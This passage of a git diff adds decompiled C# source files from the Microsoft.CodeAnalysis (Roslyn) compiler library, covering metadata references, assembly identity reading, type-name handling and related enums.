MetadataReferenceProperties properties, DocumentationProvider? documentation, string? filePath, string? display) + : base(properties, filePath, documentation ?? Microsoft.CodeAnalysis.DocumentationProvider.Default) + { + _display = display; + _metadata = metadata; + } + + protected override Metadata GetMetadataImpl() + { + return _metadata; + } + + protected override DocumentationProvider CreateDocumentationProvider() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/MetadataReference/MetadataImageReference.cs", 36); + } + + protected override PortableExecutableReference WithPropertiesImpl(MetadataReferenceProperties properties) + { + return new MetadataImageReference(_metadata, properties, base.DocumentationProvider, base.FilePath, _display); + } + + private string GetDebuggerDisplay() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.Append((base.Properties.Kind == MetadataImageKind.Module) ? "Module" : "Assembly"); + if (!base.Properties.Aliases.IsEmpty) + { + stringBuilder.Append(" Aliases={"); + stringBuilder.Append(string.Join(", ", base.Properties.Aliases)); + stringBuilder.Append("}"); + } + if (base.Properties.EmbedInteropTypes) + { + stringBuilder.Append(" Embed"); + } + if (base.FilePath != null) + { + stringBuilder.Append(" Path='"); + stringBuilder.Append(base.FilePath); + stringBuilder.Append("'"); + } + if (_display != null) + { + stringBuilder.Append(" Display='"); + stringBuilder.Append(_display); + stringBuilder.Append("'"); + } + return stringBuilder.ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataImportOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataImportOptions.cs new file mode 100644 index 0000000..14fc47c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataImportOptions.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum MetadataImportOptions : byte +{ + Public, + Internal, + All +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataLocation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataLocation.cs new file mode 100644 index 0000000..76dbadc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataLocation.cs @@ -0,0 +1,37 @@ +using System; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal sealed class MetadataLocation : Location, IEquatable +{ + private readonly IModuleSymbolInternal _module; + + public override LocationKind Kind => LocationKind.MetadataFile; + + internal override IModuleSymbolInternal MetadataModuleInternal => _module; + + internal MetadataLocation(IModuleSymbolInternal module) + { + _module = module; + } + + public override int GetHashCode() + { + return _module.GetHashCode(); + } + + public override bool Equals(object? obj) + { + return Equals(obj as MetadataLocation); + } + + public bool Equals(MetadataLocation? other) + { + if ((object)other != null) + { + return other._module == _module; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReaderExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReaderExtensions.cs new file mode 100644 index 0000000..1288d14 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReaderExtensions.cs @@ -0,0 +1,149 @@ +using System; +using System.Collections.Immutable; +using System.Globalization; +using System.Reflection; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +internal static class MetadataReaderExtensions +{ + internal static bool GetWinMdVersion(this MetadataReader reader, out int majorVersion, out int minorVersion) + { + if (reader.MetadataKind == MetadataKind.WindowsMetadata) + { + string metadataVersion = reader.MetadataVersion; + if (metadataVersion.StartsWith("WindowsRuntime ", StringComparison.Ordinal)) + { + string[] array = metadataVersion.Substring("WindowsRuntime ".Length).Split(new char[1] { '.' }); + if (array.Length == 2 && int.TryParse(array[0], NumberStyles.None, CultureInfo.InvariantCulture, out majorVersion) && int.TryParse(array[1], NumberStyles.None, CultureInfo.InvariantCulture, out minorVersion)) + { + return true; + } + } + } + majorVersion = 0; + minorVersion = 0; + return false; + } + + internal static AssemblyIdentity ReadAssemblyIdentityOrThrow(this MetadataReader reader) + { + if (!reader.IsAssembly) + { + return null; + } + AssemblyDefinition assemblyDefinition = reader.GetAssemblyDefinition(); + return reader.CreateAssemblyIdentityOrThrow(assemblyDefinition.Version, assemblyDefinition.Flags, assemblyDefinition.PublicKey, assemblyDefinition.Name, assemblyDefinition.Culture, isReference: false); + } + + internal static ImmutableArray GetReferencedAssembliesOrThrow(this MetadataReader reader) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(reader.AssemblyReferences.Count); + try + { + foreach (AssemblyReferenceHandle assemblyReference2 in reader.AssemblyReferences) + { + AssemblyReference assemblyReference = reader.GetAssemblyReference(assemblyReference2); + instance.Add(reader.CreateAssemblyIdentityOrThrow(assemblyReference.Version, assemblyReference.Flags, assemblyReference.PublicKeyOrToken, assemblyReference.Name, assemblyReference.Culture, isReference: true)); + } + return instance.ToImmutable(); + } + finally + { + instance.Free(); + } + } + + internal static Guid GetModuleVersionIdOrThrow(this MetadataReader reader) + { + return reader.GetGuid(reader.GetModuleDefinition().Mvid); + } + + private static AssemblyIdentity CreateAssemblyIdentityOrThrow(this MetadataReader reader, Version version, AssemblyFlags flags, BlobHandle publicKey, StringHandle name, StringHandle culture, bool isReference) + { + string text = reader.GetString(name); + if (!MetadataHelpers.IsValidMetadataIdentifier(text)) + { + throw new BadImageFormatException(string.Format(CodeAnalysisResources.InvalidAssemblyName, text)); + } + string text2 = (culture.IsNil ? null : reader.GetString(culture)); + if (text2 != null && !MetadataHelpers.IsValidMetadataIdentifier(text2)) + { + throw new BadImageFormatException(string.Format(CodeAnalysisResources.InvalidCultureName, text2)); + } + ImmutableArray immutableArray = reader.GetBlobContent(publicKey); + bool flag; + if (isReference) + { + flag = (flags & AssemblyFlags.PublicKey) != 0; + if (flag) + { + if (!MetadataHelpers.IsValidPublicKey(immutableArray)) + { + throw new BadImageFormatException(CodeAnalysisResources.InvalidPublicKey); + } + } + else if (!immutableArray.IsEmpty && immutableArray.Length != 8) + { + throw new BadImageFormatException(CodeAnalysisResources.InvalidPublicKeyToken); + } + } + else + { + flag = !immutableArray.IsEmpty; + if (flag && !MetadataHelpers.IsValidPublicKey(immutableArray)) + { + throw new BadImageFormatException(CodeAnalysisResources.InvalidPublicKey); + } + } + if (immutableArray.IsEmpty) + { + immutableArray = default(ImmutableArray); + } + return new AssemblyIdentity(noThrow: true, text, version, text2, immutableArray, flag, (flags & AssemblyFlags.Retargetable) != 0, (AssemblyContentType)((int)(flags & AssemblyFlags.ContentTypeMask) >> 9)); + } + + internal static bool DeclaresTheObjectClass(this MetadataReader reader) + { + return reader.DeclaresType(IsTheObjectClass); + } + + private static bool IsTheObjectClass(this MetadataReader reader, TypeDefinition typeDef) + { + if (typeDef.BaseType.IsNil) + { + return reader.IsPublicNonInterfaceType(typeDef, "System", "Object"); + } + return false; + } + + internal static bool DeclaresType(this MetadataReader reader, Func predicate) + { + foreach (TypeDefinitionHandle typeDefinition2 in reader.TypeDefinitions) + { + try + { + TypeDefinition typeDefinition = reader.GetTypeDefinition(typeDefinition2); + if (predicate(reader, typeDefinition)) + { + return true; + } + } + catch (BadImageFormatException) + { + } + } + return false; + } + + internal static bool IsPublicNonInterfaceType(this MetadataReader reader, TypeDefinition typeDef, string namespaceName, string typeName) + { + if ((typeDef.Attributes & (TypeAttributes.Public | TypeAttributes.ClassSemanticsMask)) == TypeAttributes.Public && reader.StringComparer.Equals(typeDef.Name, typeName)) + { + return reader.StringComparer.Equals(typeDef.Namespace, namespaceName); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReference.cs new file mode 100644 index 0000000..3a65eee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReference.cs @@ -0,0 +1,133 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.ComponentModel; +using System.IO; +using System.Reflection; +using System.Reflection.PortableExecutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public abstract class MetadataReference +{ + public MetadataReferenceProperties Properties { get; } + + public virtual string? Display => null; + + internal virtual bool IsUnresolved => false; + + protected MetadataReference(MetadataReferenceProperties properties) + { + Properties = properties; + } + + public MetadataReference WithAliases(IEnumerable aliases) + { + return WithAliases(ImmutableArray.CreateRange(aliases)); + } + + public MetadataReference WithEmbedInteropTypes(bool value) + { + return WithProperties(Properties.WithEmbedInteropTypes(value)); + } + + public MetadataReference WithAliases(ImmutableArray aliases) + { + return WithProperties(Properties.WithAliases(aliases)); + } + + public MetadataReference WithProperties(MetadataReferenceProperties properties) + { + if (properties == Properties) + { + return this; + } + return WithPropertiesImplReturningMetadataReference(properties); + } + + internal abstract MetadataReference WithPropertiesImplReturningMetadataReference(MetadataReferenceProperties properties); + + public static PortableExecutableReference CreateFromImage(ImmutableArray peImage, MetadataReferenceProperties properties = default(MetadataReferenceProperties), DocumentationProvider? documentation = null, string? filePath = null) + { + Metadata metadata = ((properties.Kind != MetadataImageKind.Module) ? ((Metadata)AssemblyMetadata.CreateFromImage(peImage)) : ((Metadata)ModuleMetadata.CreateFromImage(peImage))); + return new MetadataImageReference(metadata, properties, documentation, filePath, null); + } + + public static PortableExecutableReference CreateFromImage(IEnumerable peImage, MetadataReferenceProperties properties = default(MetadataReferenceProperties), DocumentationProvider? documentation = null, string? filePath = null) + { + Metadata metadata = ((properties.Kind != MetadataImageKind.Module) ? ((Metadata)AssemblyMetadata.CreateFromImage(peImage)) : ((Metadata)ModuleMetadata.CreateFromImage(peImage))); + return new MetadataImageReference(metadata, properties, documentation, filePath, null); + } + + public static PortableExecutableReference CreateFromStream(Stream peStream, MetadataReferenceProperties properties = default(MetadataReferenceProperties), DocumentationProvider? documentation = null, string? filePath = null) + { + Metadata metadata = ((properties.Kind != MetadataImageKind.Module) ? ((Metadata)AssemblyMetadata.CreateFromStream(peStream, PEStreamOptions.PrefetchEntireImage)) : ((Metadata)ModuleMetadata.CreateFromStream(peStream, PEStreamOptions.PrefetchEntireImage))); + return new MetadataImageReference(metadata, properties, documentation, filePath, null); + } + + public static PortableExecutableReference CreateFromFile(string path, MetadataReferenceProperties properties = default(MetadataReferenceProperties), DocumentationProvider? documentation = null) + { + return CreateFromFile(StandardFileSystem.Instance.OpenFileWithNormalizedException(path, FileMode.Open, FileAccess.Read, FileShare.Read), path, properties, documentation); + } + + internal static PortableExecutableReference CreateFromFile(Stream peStream, string path, MetadataReferenceProperties properties = default(MetadataReferenceProperties), DocumentationProvider? documentation = null) + { + ModuleMetadata moduleMetadata = ModuleMetadata.CreateFromStream(peStream, PEStreamOptions.PrefetchEntireImage); + if (properties.Kind == MetadataImageKind.Module) + { + return new MetadataImageReference(moduleMetadata, properties, documentation, path, null); + } + return new MetadataImageReference(AssemblyMetadata.CreateFromFile(moduleMetadata, path), properties, documentation, path, null); + } + + [Obsolete("Use CreateFromFile(assembly.Location) instead", true)] + [EditorBrowsable(EditorBrowsableState.Never)] + public static MetadataReference CreateFromAssembly(Assembly assembly) + { + return CreateFromAssemblyInternal(assembly); + } + + internal static MetadataReference CreateFromAssemblyInternal(Assembly assembly) + { + return CreateFromAssemblyInternal(assembly, default(MetadataReferenceProperties)); + } + + [Obsolete("Use CreateFromFile(assembly.Location) instead", true)] + [EditorBrowsable(EditorBrowsableState.Never)] + public static MetadataReference CreateFromAssembly(Assembly assembly, MetadataReferenceProperties properties, DocumentationProvider? documentation = null) + { + return CreateFromAssemblyInternal(assembly, properties, documentation); + } + + internal static PortableExecutableReference CreateFromAssemblyInternal(Assembly assembly, MetadataReferenceProperties properties, DocumentationProvider? documentation = null) + { + if (assembly == null) + { + throw new ArgumentNullException("assembly"); + } + if (assembly.IsDynamic) + { + throw new NotSupportedException(CodeAnalysisResources.CantCreateReferenceToDynamicAssembly); + } + if (properties.Kind != MetadataImageKind.Assembly) + { + throw new ArgumentException(CodeAnalysisResources.CantCreateModuleReferenceToAssembly, "properties"); + } + string location = assembly.Location; + if (string.IsNullOrEmpty(location)) + { + throw new NotSupportedException(CodeAnalysisResources.CantCreateReferenceToAssemblyWithoutLocation); + } + return new MetadataImageReference(AssemblyMetadata.CreateFromStream(StandardFileSystem.Instance.OpenFileWithNormalizedException(location, FileMode.Open, FileAccess.Read, FileShare.Read)), properties, documentation, location, null); + } + + internal static bool HasMetadata(Assembly assembly) + { + if (!assembly.IsDynamic) + { + return !string.IsNullOrEmpty(assembly.Location); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReferenceProperties.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReferenceProperties.cs new file mode 100644 index 0000000..37dfe3d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReferenceProperties.cs @@ -0,0 +1,127 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public struct MetadataReferenceProperties : IEquatable +{ + private readonly MetadataImageKind _kind; + + private readonly ImmutableArray _aliases; + + private readonly bool _embedInteropTypes; + + public static MetadataReferenceProperties Module => new MetadataReferenceProperties(MetadataImageKind.Module); + + public static MetadataReferenceProperties Assembly => new MetadataReferenceProperties(MetadataImageKind.Assembly, default(ImmutableArray), false); + + public MetadataImageKind Kind => _kind; + + public static string GlobalAlias => "global"; + + public ImmutableArray Aliases => _aliases.NullToEmpty(); + + public bool EmbedInteropTypes => _embedInteropTypes; + + internal bool HasRecursiveAliases { get; private set; } + + public MetadataReferenceProperties(MetadataImageKind kind = MetadataImageKind.Assembly, ImmutableArray aliases = default(ImmutableArray), bool embedInteropTypes = false) + { + if (!kind.IsValid()) + { + throw new ArgumentOutOfRangeException("kind"); + } + if (kind == MetadataImageKind.Module) + { + if (embedInteropTypes) + { + throw new ArgumentException(CodeAnalysisResources.CannotEmbedInteropTypesFromModule, "embedInteropTypes"); + } + if (!aliases.IsDefaultOrEmpty) + { + throw new ArgumentException(CodeAnalysisResources.CannotAliasModule, "aliases"); + } + } + if (!aliases.IsDefaultOrEmpty) + { + ImmutableArray.Enumerator enumerator = aliases.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!enumerator.Current.IsValidClrTypeName()) + { + throw new ArgumentException(CodeAnalysisResources.InvalidAlias, "aliases"); + } + } + } + _kind = kind; + _aliases = aliases; + _embedInteropTypes = embedInteropTypes; + HasRecursiveAliases = false; + } + + internal MetadataReferenceProperties(MetadataImageKind kind, ImmutableArray aliases, bool embedInteropTypes, bool hasRecursiveAliases) + : this(kind, aliases, embedInteropTypes) + { + HasRecursiveAliases = hasRecursiveAliases; + } + + public MetadataReferenceProperties WithAliases(IEnumerable aliases) + { + return WithAliases(aliases.AsImmutableOrEmpty()); + } + + public MetadataReferenceProperties WithAliases(ImmutableArray aliases) + { + return new MetadataReferenceProperties(_kind, aliases, _embedInteropTypes, HasRecursiveAliases); + } + + public MetadataReferenceProperties WithEmbedInteropTypes(bool embedInteropTypes) + { + return new MetadataReferenceProperties(_kind, _aliases, embedInteropTypes, HasRecursiveAliases); + } + + internal MetadataReferenceProperties WithRecursiveAliases(bool value) + { + return new MetadataReferenceProperties(_kind, _aliases, _embedInteropTypes, value); + } + + public override bool Equals(object? obj) + { + if (obj is MetadataReferenceProperties) + { + return Equals((MetadataReferenceProperties)obj); + } + return false; + } + + public bool Equals(MetadataReferenceProperties other) + { + if (Aliases.SequenceEqual(other.Aliases) && _embedInteropTypes == other._embedInteropTypes && _kind == other._kind) + { + return HasRecursiveAliases == other.HasRecursiveAliases; + } + return false; + } + + public override int GetHashCode() + { + int newKey = Hash.CombineValues(Aliases); + bool embedInteropTypes = _embedInteropTypes; + bool hasRecursiveAliases = HasRecursiveAliases; + int kind = (int)_kind; + return Hash.Combine(newKey, Hash.Combine(embedInteropTypes, Hash.Combine(hasRecursiveAliases, kind.GetHashCode()))); + } + + public static bool operator ==(MetadataReferenceProperties left, MetadataReferenceProperties right) + { + return left.Equals(right); + } + + public static bool operator !=(MetadataReferenceProperties left, MetadataReferenceProperties right) + { + return !left.Equals(right); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReferenceResolver.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReferenceResolver.cs new file mode 100644 index 0000000..0d8452f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataReferenceResolver.cs @@ -0,0 +1,19 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public abstract class MetadataReferenceResolver +{ + public virtual bool ResolveMissingAssemblies => false; + + public abstract override bool Equals(object? other); + + public abstract override int GetHashCode(); + + public abstract ImmutableArray ResolveReference(string reference, string? baseFilePath, MetadataReferenceProperties properties); + + public virtual PortableExecutableReference? ResolveMissingAssembly(MetadataReference definition, AssemblyIdentity referenceIdentity) + { + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataTypeCodeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataTypeCodeExtensions.cs new file mode 100644 index 0000000..baa0a90 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataTypeCodeExtensions.cs @@ -0,0 +1,83 @@ +using System.Reflection.Metadata; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class MetadataTypeCodeExtensions +{ + internal static SpecialType ToSpecialType(this SignatureTypeCode typeCode) + { + return typeCode switch + { + SignatureTypeCode.TypedReference => SpecialType.System_TypedReference, + SignatureTypeCode.Void => SpecialType.System_Void, + SignatureTypeCode.Boolean => SpecialType.System_Boolean, + SignatureTypeCode.SByte => SpecialType.System_SByte, + SignatureTypeCode.Byte => SpecialType.System_Byte, + SignatureTypeCode.Int16 => SpecialType.System_Int16, + SignatureTypeCode.UInt16 => SpecialType.System_UInt16, + SignatureTypeCode.Int32 => SpecialType.System_Int32, + SignatureTypeCode.UInt32 => SpecialType.System_UInt32, + SignatureTypeCode.Int64 => SpecialType.System_Int64, + SignatureTypeCode.UInt64 => SpecialType.System_UInt64, + SignatureTypeCode.Single => SpecialType.System_Single, + SignatureTypeCode.Double => SpecialType.System_Double, + SignatureTypeCode.Char => SpecialType.System_Char, + SignatureTypeCode.String => SpecialType.System_String, + SignatureTypeCode.IntPtr => SpecialType.System_IntPtr, + SignatureTypeCode.UIntPtr => SpecialType.System_UIntPtr, + SignatureTypeCode.Object => SpecialType.System_Object, + _ => throw ExceptionUtilities.UnexpectedValue(typeCode), + }; + } + + internal static bool HasShortFormSignatureEncoding(this SpecialType type) + { + switch (type) + { + case SpecialType.System_Object: + case SpecialType.System_Void: + case SpecialType.System_Boolean: + case SpecialType.System_Char: + case SpecialType.System_SByte: + case SpecialType.System_Byte: + case SpecialType.System_Int16: + case SpecialType.System_UInt16: + case SpecialType.System_Int32: + case SpecialType.System_UInt32: + case SpecialType.System_Int64: + case SpecialType.System_UInt64: + case SpecialType.System_Single: + case SpecialType.System_Double: + case SpecialType.System_String: + case SpecialType.System_IntPtr: + case SpecialType.System_UIntPtr: + case SpecialType.System_TypedReference: + return true; + default: + return false; + } + } + + internal static SerializationTypeCode ToSerializationType(this SpecialType specialType) + { + return specialType switch + { + SpecialType.System_Boolean => SerializationTypeCode.Boolean, + SpecialType.System_SByte => SerializationTypeCode.SByte, + SpecialType.System_Byte => SerializationTypeCode.Byte, + SpecialType.System_Int16 => SerializationTypeCode.Int16, + SpecialType.System_Int32 => SerializationTypeCode.Int32, + SpecialType.System_Int64 => SerializationTypeCode.Int64, + SpecialType.System_UInt16 => SerializationTypeCode.UInt16, + SpecialType.System_UInt32 => SerializationTypeCode.UInt32, + SpecialType.System_UInt64 => SerializationTypeCode.UInt64, + SpecialType.System_Single => SerializationTypeCode.Single, + SpecialType.System_Double => SerializationTypeCode.Double, + SpecialType.System_Char => SerializationTypeCode.Char, + SpecialType.System_String => SerializationTypeCode.String, + SpecialType.System_Object => SerializationTypeCode.TaggedObject, + _ => throw ExceptionUtilities.UnexpectedValue(specialType), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataTypeName.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataTypeName.cs new file mode 100644 index 0000000..732d286 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataTypeName.cs @@ -0,0 +1,313 @@ +using System; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[NonCopyable] +internal struct MetadataTypeName +{ + public readonly struct Key : IEquatable + { + private readonly string _namespaceOrFullyQualifiedName; + + private readonly string _typeName; + + private readonly byte _useCLSCompliantNameArityEncoding; + + private readonly short _forcedArity; + + private bool HasFullyQualifiedName => _typeName == null; + + internal Key(in MetadataTypeName mdTypeName) + { + if (mdTypeName.IsNull) + { + _namespaceOrFullyQualifiedName = null; + _typeName = null; + _useCLSCompliantNameArityEncoding = 0; + _forcedArity = 0; + return; + } + if (mdTypeName._fullName != null) + { + _namespaceOrFullyQualifiedName = mdTypeName._fullName; + _typeName = null; + } + else + { + _namespaceOrFullyQualifiedName = mdTypeName._namespaceName; + _typeName = mdTypeName._typeName; + } + _useCLSCompliantNameArityEncoding = (mdTypeName.UseCLSCompliantNameArityEncoding ? ((byte)1) : ((byte)0)); + _forcedArity = mdTypeName._forcedArity; + } + + public bool Equals(Key other) + { + if (_useCLSCompliantNameArityEncoding == other._useCLSCompliantNameArityEncoding && _forcedArity == other._forcedArity) + { + return EqualNames(ref other); + } + return false; + } + + private bool EqualNames(ref Key other) + { + if (_typeName == other._typeName) + { + return _namespaceOrFullyQualifiedName == other._namespaceOrFullyQualifiedName; + } + if (HasFullyQualifiedName) + { + return MetadataHelpers.SplitNameEqualsFullyQualifiedName(other._namespaceOrFullyQualifiedName, other._typeName, _namespaceOrFullyQualifiedName); + } + if (other.HasFullyQualifiedName) + { + return MetadataHelpers.SplitNameEqualsFullyQualifiedName(_namespaceOrFullyQualifiedName, _typeName, other._namespaceOrFullyQualifiedName); + } + return false; + } + + public override bool Equals(object obj) + { + if (obj is Key) + { + return Equals((Key)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(GetHashCodeName(), Hash.Combine(_useCLSCompliantNameArityEncoding != 0, _forcedArity)); + } + + private int GetHashCodeName() + { + int num = Hash.GetFNVHashCode(_namespaceOrFullyQualifiedName); + if (!HasFullyQualifiedName) + { + num = Hash.CombineFNVHash(num, '.'); + num = Hash.CombineFNVHash(num, _typeName); + } + return num; + } + } + + private string _fullName; + + private string _namespaceName; + + private ReadOnlyMemory _namespaceNameMemory; + + private string _typeName; + + private ReadOnlyMemory _typeNameMemory; + + private string _unmangledTypeName; + + private ReadOnlyMemory _unmangledTypeNameMemory; + + private short _inferredArity; + + private short _forcedArity; + + private bool _useCLSCompliantNameArityEncoding; + + private ImmutableArray _namespaceSegments; + + private ImmutableArray> _namespaceSegmentsMemory; + + public string FullName + { + get + { + if (_fullName == null) + { + _fullName = MetadataHelpers.BuildQualifiedName(_namespaceName, _typeName); + } + return _fullName; + } + } + + public ReadOnlyMemory NamespaceNameMemory + { + get + { + if (_namespaceNameMemory.Equals(default(ReadOnlyMemory))) + { + _typeNameMemory = MetadataHelpers.SplitQualifiedName(_fullName, out _namespaceNameMemory); + } + return _namespaceNameMemory; + } + } + + public string NamespaceName => _namespaceName ?? (_namespaceName = NamespaceNameMemory.ToString()); + + public ReadOnlyMemory TypeNameMemory + { + get + { + if (_typeNameMemory.Equals(default(ReadOnlyMemory))) + { + _typeNameMemory = MetadataHelpers.SplitQualifiedName(_fullName, out _namespaceNameMemory); + } + return _typeNameMemory; + } + } + + public string TypeName => _typeName ?? (_typeName = TypeNameMemory.ToString()); + + public ReadOnlyMemory UnmangledTypeNameMemory + { + get + { + if (_unmangledTypeNameMemory.Equals(default(ReadOnlyMemory))) + { + _unmangledTypeNameMemory = MetadataHelpers.InferTypeArityAndUnmangleMetadataName(TypeNameMemory, out _inferredArity); + } + return _unmangledTypeNameMemory; + } + } + + public string UnmangledTypeName + { + get + { + if (_unmangledTypeName == null) + { + _unmangledTypeName = (UnmangledTypeNameMemory.Equals(TypeNameMemory) ? TypeName : UnmangledTypeNameMemory.ToString()); + } + return _unmangledTypeName; + } + } + + public int InferredArity + { + get + { + if (_inferredArity == -1) + { + _unmangledTypeNameMemory = MetadataHelpers.InferTypeArityAndUnmangleMetadataName(TypeNameMemory, out _inferredArity); + } + return _inferredArity; + } + } + + public bool IsMangled => InferredArity > 0; + + public readonly bool UseCLSCompliantNameArityEncoding => _useCLSCompliantNameArityEncoding; + + public readonly int ForcedArity => _forcedArity; + + public ImmutableArray> NamespaceSegmentsMemory + { + get + { + if (_namespaceSegmentsMemory.IsDefault) + { + _namespaceSegmentsMemory = MetadataHelpers.SplitQualifiedName(NamespaceNameMemory); + } + return _namespaceSegmentsMemory; + } + } + + public ImmutableArray NamespaceSegments + { + get + { + if (_namespaceSegments.IsDefault) + { + _namespaceSegments = NamespaceSegmentsMemory.SelectAsArray((ReadOnlyMemory s) => s.ToString()); + } + return _namespaceSegments; + } + } + + public readonly bool IsNull + { + get + { + if (_typeName == null) + { + return _fullName == null; + } + return false; + } + } + + public static MetadataTypeName FromFullName(string fullName, bool useCLSCompliantNameArityEncoding = false, int forcedArity = -1) + { + MetadataTypeName result = default(MetadataTypeName); + result._fullName = fullName; + result._namespaceName = null; + result._namespaceNameMemory = default(ReadOnlyMemory); + result._typeName = null; + result._typeNameMemory = default(ReadOnlyMemory); + result._unmangledTypeName = null; + result._unmangledTypeNameMemory = default(ReadOnlyMemory); + result._inferredArity = -1; + result._useCLSCompliantNameArityEncoding = useCLSCompliantNameArityEncoding; + result._forcedArity = (short)forcedArity; + result._namespaceSegments = default(ImmutableArray); + result._namespaceSegmentsMemory = default(ImmutableArray>); + return result; + } + + public static MetadataTypeName FromNamespaceAndTypeName(string namespaceName, string typeName, bool useCLSCompliantNameArityEncoding = false, int forcedArity = -1) + { + MetadataTypeName result = default(MetadataTypeName); + result._fullName = null; + result._namespaceName = namespaceName; + result._namespaceNameMemory = namespaceName.AsMemory(); + result._typeName = typeName; + result._typeNameMemory = typeName.AsMemory(); + result._unmangledTypeName = null; + result._unmangledTypeNameMemory = default(ReadOnlyMemory); + result._inferredArity = -1; + result._useCLSCompliantNameArityEncoding = useCLSCompliantNameArityEncoding; + result._forcedArity = (short)forcedArity; + result._namespaceSegments = default(ImmutableArray); + result._namespaceSegmentsMemory = default(ImmutableArray>); + return result; + } + + public static MetadataTypeName FromTypeName(string typeName, bool useCLSCompliantNameArityEncoding = false, int forcedArity = -1) + { + MetadataTypeName result = default(MetadataTypeName); + result._fullName = typeName; + result._namespaceName = string.Empty; + result._namespaceNameMemory = string.Empty.AsMemory(); + result._typeName = typeName; + result._typeNameMemory = typeName.AsMemory(); + result._unmangledTypeName = null; + result._unmangledTypeNameMemory = default(ReadOnlyMemory); + result._inferredArity = -1; + result._useCLSCompliantNameArityEncoding = useCLSCompliantNameArityEncoding; + result._forcedArity = (short)forcedArity; + result._namespaceSegments = ImmutableArray.Empty; + result._namespaceSegmentsMemory = ImmutableArray>.Empty; + return result; + } + + public override string ToString() + { + if (IsNull) + { + return "{Null}"; + } + return string.Format("{{{0},{1},{2},{3}}}", new object[4] + { + NamespaceName, + TypeName, + UseCLSCompliantNameArityEncoding.ToString(), + _forcedArity.ToString() + }); + } + + public readonly Key ToKey() + { + return new Key(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MethodKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MethodKind.cs new file mode 100644 index 0000000..26c5b86 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MethodKind.cs @@ -0,0 +1,26 @@ +namespace Microsoft.CodeAnalysis; + +public enum MethodKind +{ + AnonymousFunction = 0, + LambdaMethod = 0, + Constructor = 1, + Conversion = 2, + DelegateInvoke = 3, + Destructor = 4, + EventAdd = 5, + EventRaise = 6, + EventRemove = 7, + ExplicitInterfaceImplementation = 8, + UserDefinedOperator = 9, + Ordinary = 10, + PropertyGet = 11, + PropertySet = 12, + ReducedExtension = 13, + StaticConstructor = 14, + SharedConstructor = 14, + BuiltinOperator = 15, + DeclareMethod = 16, + LocalFunction = 17, + FunctionPointerSignature = 18 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModelExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModelExtensions.cs new file mode 100644 index 0000000..5e0f34f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModelExtensions.cs @@ -0,0 +1,67 @@ +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +public static class ModelExtensions +{ + public static SymbolInfo GetSymbolInfo(this SemanticModel semanticModel, SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + return semanticModel.GetSymbolInfo(node, cancellationToken); + } + + public static SymbolInfo GetSpeculativeSymbolInfo(this SemanticModel semanticModel, 